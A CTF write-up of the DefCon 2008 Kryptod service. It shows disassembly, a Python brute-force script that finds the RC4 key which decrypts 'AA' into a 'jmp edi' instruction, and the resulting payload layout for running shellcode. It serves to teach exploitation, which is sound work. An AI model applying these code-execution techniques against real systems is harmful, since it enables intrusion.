DefCon CTF 2008: KryptoD Walk-Through
The Sexy Pandas were nice enough to do a kryptod write-up for this site. Here it is!

This year at the Defcon CTF there was only one kenshoto-level service (or at least only one that scored as a Kenshoto, you’ll know what we mean in further writeups). That service was Kryptod, so we will be trying to explain how we managed to exploit it.

As in the major part of the CTF bins the service starts setting up the socket, in this case listening at port 20020, and dropping the proper user privileges. Then it sets up signal handlers for SIGILL, SIGTRAP, SIGEMT, SIGBUS, SIGSEGV, SIGSYS and SIGALRM. The handler is always the same and it just uses the current socket to send back to the client an encoded value related to the signal received and then doing a clean exit (let’s say it’s a nice way to say: “Hey, I crashed!”).

The next step is just the client handler. Kryptod reads the file ‘/home/krypto/key’ (the token) and put its contents into a buffer, then it reads from the socket up to 63 chars (or a terminating \x0A if it comes before). The next part is a bit tricky, if the socket received 0 bytes it justs send the contents of the token/keyfile to the user. WTF??? Strike one! No luck this time, the token is an overwrite one so reading it gives you nothing :(

If the server receives between 1 and 63 bytes, then uses them as an RC4 key (via RC4_set_key) to decrypt an static 32-byte buffer filled with ‘A’s:

char buf[32];
 
memset(buf, 'A', 32);
key = RC4_set_key(user_data, strlen(user_data));
RC4(key, 32, buf, buf);
buf(); // call buf

And here comes the funny part. After setting an alarm for 2 seconds (as a protection against hangs) it just jumps into the decrypted buffer. That’s all, we just need to send kryptod a key to decrypt ‘A’x32 into executable code (shellcode to overwrite the token). The problem is that decrypting 64 bytes into a full shellcode will requiere a really heavy bruteforcing process, so we need to cut down as many bytes as we can. Looking at the assembly, we can find a really easy way to do it with only 2 bytes:

.text:08048D30                 push    ebx             ; user_data
.text:08048D31                 cld
.text:08048D32                 xor     eax, eax        ; 0-terminating user_data
.text:08048D34                 mov     edi, ebx
.text:08048D36                 mov     ecx, 0FFFFFFFFh
.text:08048D3B                 repne scasb
.text:08048D3D                 not     ecx
.text:08048D3F                 dec     ecx
.text:08048D40                 push    ecx             ; len
.text:08048D41                 lea     ebx, [ebp+rc4_key]
.text:08048D47                 push    ebx             ; key
.text:08048D48                 call    _RC4_set_key
.text:08048D4D                 push    esi             ; outdata
.text:08048D4E                 push    esi             ; indata
.text:08048D4F                 push    32              ; len
.text:08048D51                 push    ebx             ; key
.text:08048D52                 call    _RC4
.text:08048D57                 add     esp, 14h
.text:08048D5A                 push    2               ; secs
.text:08048D5C                 call    _alarm
.text:08048D61                 mov     [esp+468h+unkn_flag], '1111'
.text:08048D68                 call    esi

Okay, we need to send a payload in the way ‘OUR_RC4_KEY\x00SHELLCODE’. Doing that way and seeing how the strlen/repne scasb works, in 08048D68 the register edi points just to the beginning of our shellcode (after the \x00) so we only need to decrypt ‘AAAAA…’ into a “jmp edi” (FFE7) and kryptod is completely owned. The bruteforcing is a 5 seconds task and can be done with something like that:

from M2Crypto import RC4
import struct
 
fixed_buf = 'AA'
krypto = RC4.RC4()
 
for i in range(0xFFFF):
	krypto.set_key(struct.pack('!H', i))
	res = krypto.update(fixed_buf)
	if res[0] == '\xFF' and res[1] == '\xE7':
		print "Found key: ", hex(i)
		break

Using this simple bruteforcing you will find that 0×2211 decrypts ‘AA’ into ‘\xFF\xE7′, so the payload will be the ‘\x22\x11\x00′ followed by the shellcode. You don’t even need to put nops. There’s only one thing to care about. If you remember how many bytes the service reads from the socket, you’ll see that you need to use a 60 byte shellcode (63 bytes - 3 bytes for the key and the \x00), so using a stage2 shellcode is a good idea.

And that’s it!!! Following these steps you are breaking the Defcon CTF’08 Kenshoto-level service (one of the easiest ones we’ve seen).

See you in the next writeup ;)